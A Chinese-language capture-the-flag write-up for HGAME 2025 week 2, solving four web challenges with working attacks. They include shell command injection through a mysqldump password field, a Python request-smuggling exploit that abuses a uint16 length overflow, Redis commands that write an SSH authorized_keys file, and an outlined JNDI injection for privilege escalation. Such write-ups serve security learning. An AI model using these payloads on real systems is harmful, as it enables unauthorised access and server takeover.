HGAME-2025-WEEK-2 WriteUp

本文最后更新于:6 小时前

WEB

Level 21096 HoneyPot

简单过一遍源码,该项目读取远程数据库内容并使用 mysqldump 复制到服务器本地

漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}

if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}

manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}

不难发现 config.RemotePassword 也由用户提供,但是没有经过检查,并且往后被拼接到 command 中,

根据提示

image-20250218174311102

QQ_1739871701765

于是直接截断即可

1
{"remote_host":"1","remote_port":"3306","remote_username":"1","remote_password":"|/writeflag|","remote_database":"1","local_database":"1"}

QQ_1739871865700

Level 21096 HoneyPot_Revenge

跟上题差不多,把检验修复了,可以直接打

[CVE-2024-21096 mysqldump命令注入漏洞简析 | Ec3o](https://tech.ec3o.fun/2024/10/25/Web-Vulnerability Reproduction/CVE-2024-21096/)

部署较为麻烦,当时写题没想太多,直接服务器上编译的,花了很多时间,后面其实想想也可以本地编译了然后端口映到服务器上

注意:这里

1
2
3
4
5
dumpCmd := exec.Command("mysqldump",
"-h", config.RemoteHost,
"-u", config.RemoteUsername,
"-p"+config.RemotePassword,
config.RemoteDatabase)

源码写死了,没指定端口,所以默认为 3306

Level 111 不存在的车厢

感觉挺有意思,signinjava 没打出来随手看了下,

给了源码,主要就是 8081 对外开放,且仅允许 GET 请求

8081 收到外部请求后,将其写成 protocol 里的自定义数据包格式,并发给内部的 8080 ,并将数据包解析成http.Request{},再使用 httptest 进行本地请求访问

关键是 8080/flag 只允许 POST 请求,在这儿矛盾了

关键看看 request 的构成和读取就行,只有这些是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package protocol

import (
"bytes"
"encoding/binary"
"errors"
"io"
"net/http"
)

var ErrReadH111Request = errors.New("fail to read as H111 request")
var ErrWriteH111Request = errors.New("fail to write as H111 request")

func ReadH111Request(reader io.Reader) (*http.Request, error) {
var methodLength uint16
binary.Read(reader, binary.BigEndian, &methodLength)
method := make([]byte, int(methodLength))
_, err := io.ReadFull(reader, method)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
var uriLength uint16
binary.Read(reader, binary.BigEndian, &uriLength)
requestURI := make([]byte, int(uriLength))
_, err = io.ReadFull(reader, requestURI)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

var headerCount uint16
err = binary.Read(reader, binary.BigEndian, &headerCount)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

headers := make(map[string][]string)
for i := uint16(0); i < headerCount; i++ {
var keyLength uint16
err = binary.Read(reader, binary.BigEndian, &keyLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
key := make([]byte, keyLength)
_, err = io.ReadFull(reader, key)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

var valueLength uint16
err = binary.Read(reader, binary.BigEndian, &valueLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}
value := make([]byte, valueLength)
_, err = io.ReadFull(reader, value)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

headers[string(key)] = append(headers[string(key)], string(value))
}

var bodyLength uint16
err = binary.Read(reader, binary.BigEndian, &bodyLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

body := make([]byte, bodyLength)
_, err = io.ReadFull(reader, body)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

req, err := http.NewRequest(string(method), string(requestURI), bytes.NewReader(body))
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

req.Header = headers

return req, nil
}

func WriteH111Request(writer io.Writer, req *http.Request) error {
methodBytes := []byte(req.Method)
if err := binary.Write(writer, binary.BigEndian, uint16(len(methodBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(methodBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

pathBytes := []byte(req.RequestURI)
if err := binary.Write(writer, binary.BigEndian, uint16(len(pathBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(pathBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

headerCount := uint16(len(req.Header))
if err := binary.Write(writer, binary.BigEndian, headerCount); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

for key, values := range req.Header {
keyBytes := []byte(key)
if err := binary.Write(writer, binary.BigEndian, uint16(len(keyBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(keyBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

for _, value := range values {
valueBytes := []byte(value)
if err := binary.Write(writer, binary.BigEndian, uint16(len(valueBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(valueBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}
}

if req.Body != nil {
body, err := io.ReadAll(req.Body)
if err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(body); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
} else {
if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}

return nil
}

首先,很明显这个 uint16(0~65535) 太小了,十分可疑,考虑溢出攻击

简单过一下 ReadH111Request

H111 协议请求读取格式 by deepseek(

字段名数据类型描述字节长度可变长度
methodLengthuint16请求方法的字节长度2
method[]byte请求方法(如 GET/POST)methodLength
uriLengthuint16请求URI的字节长度2
requestURI[]byte请求路径(如 /index.html)uriLength
headerCountuint16头部字段的数量2
[header]重复 headerCount 次 ↓
├─ keyLengthuint16单个Header键的字节长度2
├─ key[]byteHeader键(如 Content-Type)keyLength
├─ valueLengthuint16单个Header值的字节长度2
├─ value[]byteHeader值(如 application/json)valueLength
bodyLengthuint16请求体的字节长度2
body[]byte请求体内容bodyLength

加上前面那么小的 uint16,不妨猜测:因为字段读取的内容是由字段前的 Length 指定,于是可以通过某个地方的溢出,使得 ReadH111Request 时,比如给了 methodLength=65537,相当于 methodLength=1,于是 ReadH111Request 便只会读取 1 个字符,并写入 method 变量

我们再来看 WriteH111Request

1
2
3
4
5
6
7
methodBytes := []byte(req.Method)
if err := binary.Write(writer, binary.BigEndian, uint16(len(methodBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(methodBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

methodBytesmethod 的写入都直接从 req.Method 读取,很明显不可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pathBytes := []byte(req.RequestURI)
if err := binary.Write(writer, binary.BigEndian, uint16(len(pathBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(pathBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

headerCount := uint16(len(req.Header))
if err := binary.Write(writer, binary.BigEndian, headerCount); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

for key, values := range req.Header {
keyBytes := []byte(key)
if err := binary.Write(writer, binary.BigEndian, uint16(len(keyBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(keyBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}

for _, value := range values {
valueBytes := []byte(value)
if err := binary.Write(writer, binary.BigEndian, uint16(len(valueBytes))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(valueBytes); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}
}

pathheader 经过测试,不支持例如 \x00\x04 这种不可见字符,所以也 pass

所以最后只有 body 挺到最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if req.Body != nil {
body, err := io.ReadAll(req.Body)
if err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(body); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
} else {
if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}

于是尝试构建

1
2
3
4
5
6
7
8
9
10
11
12
HEADER = f"Host: {host}\r\n"
HEADER += f"Content-Length: {65536}\r\n"
HEADER += "Connection: close\r\n"
payload = b"\x00\x04".decode("utf-8") + "POST" + b"\x00\x05".decode("utf-8") + "/flag" + b"\x00\x00\x00\x00".decode("iso-8859-1")

http_request = f"GET / HTTP/1.1\r\n"
http_request += HEADER
http_request += "\r\n"
http_request += payload # + (65537 - len("POST /flag HTTP/1.1\r\n")) * "a" + "\r\n"
http_request += "G" * (65536 - 17) + "\r\n"

http_request += "\r\n"

首先经过本地测试,body 的长度实际上由 Content-Length 来决定,所以在发生数据包的时候 body 的实际长度一定要大于等于 Content-Length 指定的长度,不然会卡住

上述脚本,我指定 body 长度为 65536,经过 uint16 转化变为 0,所以通过 WriteH111Request 写入数据包的内容实际为 \x00\x00 + BODY

然后在后端解析数据包的时候,由于 bodyLength0,所以 body 并不会被读取

**web/main.go: **

QQ_1739874917616

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func serverH111(conn net.Conn) {
defer conn.Close()
for {
req, err := h111.ReadH111Request(conn)
if err != nil {
log.Println(err)
return
}
recorder := httptest.NewRecorder()
mux.ServeHTTP(recorder, req)
resp := recorder.Result()
log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
err = h111.WriteH111Response(conn, resp)
if err != nil {
log.Println(err)
return
}
}
}

因为 conn 并未关闭,所以我们传入的 payload 仍然存留在 conn 里,所以再请求一次,就会读取我们的payload,

QQ_1739875568266

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import socket, struct

# host = "node1.hgame.vidar.club"
# port = 32519
host = "localhost"
port = 8081

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((host, port))

HEADER = f"Host: {host}\r\n"
HEADER += f"Content-Length: {65536}\r\n"
HEADER += "Connection: close\r\n"
payload = b"\x00\x04".decode("utf-8") + "POST" + b"\x00\x05".decode("utf-8") + "/flag" + b"\x00\x00\x00\x00".decode("iso-8859-1")

http_request = f"GET / HTTP/1.1\r\n"
http_request += HEADER
http_request += "\r\n"
http_request += payload # + (65537 - len("POST /flag HTTP/1.1\r\n")) * "a" + "\r\n"
http_request += "G" * (65536 - 17) + "\r\n"

http_request += "\r\n"
# http_request += "\r\n"
# print(http_request)



client_socket.send(http_request.encode())

response = client_socket.recv(4096)

print(response.decode())

client_socket.close()

Level 257 日落的紫罗兰

给了一个用户名表

1
2
3
4
5
6
7
8
admin
hgame2025
bobrov
ctfer
mysid
x1aoP
en1Oy

给出地址都无法访问,nmap 扫一下

QQ_1739876346302

多半就是 redis 写 ssh 公钥

QQ_1739876554804

可以发现 redis 未配置密码

这里尝试用给出的用户表进行访问,发现 mysid 有权限,所以本地生成公钥写入即可

1
2
3
4
5
6
7
cat /tmp/foo.txt|  redis-cli -h node1.hgame.vidar.club -p 31896 -x set crackit

redis-cli -h node1.hgame.vidar.club -p 31896
config set dir /home/mysid/.ssh/
config set dbfilename "authorized_keys"
save

QQ_1739876769897

然后 ssh 连接即可,这里使用的 Termius

QQ_1739876847178

根目录发现 flagreadflag

QQ_1739876967021

尝试 suid 提权,但是貌似没有可用方法

QQ_1739877000937

ps -ef 查看进程

QQ_1739877074812

发现一个 java 项目,唉,怎么还套娃上了

app.jar 拷下来,反编译

QQ_1739877203765

打一个 search 的 jndi 注入,参考

文章 - 从search入手的jndi注入技术学习 - 先知社区

注意修改 ldap 端口为 389

命令: chmod a+r /flag

打包成 jar,上传到服务器

1
find / -name java

找到 java 地址

QQ_1739878514101

启动服务

QQ_1739878547700

服务器有 curl 可以使用,于是

QQ_1739878631992


HGAME-2025-WEEK-2 WriteUp
https://fanllspd.com/posts/cf41815c/
作者
Fanllspd
发布于
2025年2月18日
更新于
2025年2月18日
许可协议